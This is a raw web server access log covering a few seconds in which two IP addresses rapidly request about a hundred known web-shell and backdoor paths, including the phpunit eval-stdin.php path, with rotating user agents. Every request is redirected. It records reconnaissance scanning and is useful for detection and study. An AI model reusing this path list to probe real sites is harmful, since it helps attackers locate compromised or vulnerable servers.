149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:21:58 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:21:58 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:58 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:21:59 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:21:59 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:59 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:21:59 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:59 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:59 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:59 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:00 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:22:00 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:00 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:22:00 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:00 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:00 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - 